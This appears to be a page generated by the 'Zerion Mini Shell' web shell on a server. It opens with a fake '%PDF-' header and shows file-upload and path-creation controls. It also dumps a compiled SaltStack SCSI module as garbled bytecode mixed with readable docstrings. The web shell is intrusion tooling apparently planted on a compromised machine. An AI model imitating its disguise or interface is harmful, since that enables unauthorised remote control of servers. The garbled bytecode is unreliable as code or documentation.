%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/scsi.pyo

�
���^c@@s{dZddlmZmZmZddlZddlZddlZ	ej
e�Zidd6Z
ed�Zd�ZdS(u
SCSI administration module
i(tabsolute_importtunicode_literalstprint_functionNulsuls_cC@s�tjjjd�s#dtd<dS|r2d}nd}i}td|�}|jdd�}|d	kr�|td<|jd
d�jd�d	}|d
kr�dj|�S|jd
d�jd�d	S|jdd�}x�|j	�D]�}|j
d�r�d}d}	d}
|j�j�}|d	}|rB|j
�}n|j
�}
|
j
d�r�|
jdd�jdd�jd�\}	}
n|j
�}dj|d�}i|jdd�jdd�d6|d6|	d6|
d6|d6|d6||<q�|j
d�r�|j�j
d�rh|j�j�}|d|djdd�jdd�g||d<q�|j�jd�}|d|||d	<q�q�W|S(u�
    List SCSI devices, with details

    CLI Examples:

    .. code-block:: bash

        salt '*' scsi.ls
        salt '*' scsi.ls get_size=False

    get_size : True
        Get the size information for scsi devices.  This option
        should be set to False for older OS distributions (RHEL6 and older)
        due to lack of support for the '-s' option in lsscsi.

        .. versionadded:: 2015.5.10
    ulsscsiiuretcodeu0scsi.ls not available - lsscsi command not foundulsscsi -dLsvulsscsi -dLvucmd.run_alli����iustderruu
ulsscsi: invalid option -- 's'u{0} - try get_size=Falseustdoutu[u]u:u iulunusizeumajoruminorudeviceumodeludiriu=N(tsalttutilstpathtwhicht__context__t__salt__tgettsplittformatt
splitlinest
startswithtNonetstriptpoptreplacetjoin(tget_sizetcmdtrettrestrcterrortdatatlinetsizetmajortminortcompstkeytmajmintdevicetmodel((s5/usr/lib/python2.7/site-packages/salt/modules/scsi.pytls_sZ
	


00cC@sNtjjdj|��r-dj|�}n
dj|�Std|�j�S(uk
    List scsi devices

    CLI Example:

    .. code-block:: bash

        salt '*' scsi.rescan_all 0
    u/sys/class/scsi_host/host{0}u0echo "- - -" > /sys/class/scsi_host/host{0}/scanuHost {0} does not existucmd.run(tosRtisdirRRR(thostR((s5/usr/lib/python2.7/site-packages/salt/modules/scsi.pyt
rescan_all\s

(t__doc__t
__future__RRRtos.pathR$tloggingtsalt.utils.pathRt	getLoggert__name__tlogt__func_alias__tTrueR#R'(((s5/usr/lib/python2.7/site-packages/salt/modules/scsi.pyt<module>s
J

Zerion Mini Shell 1.0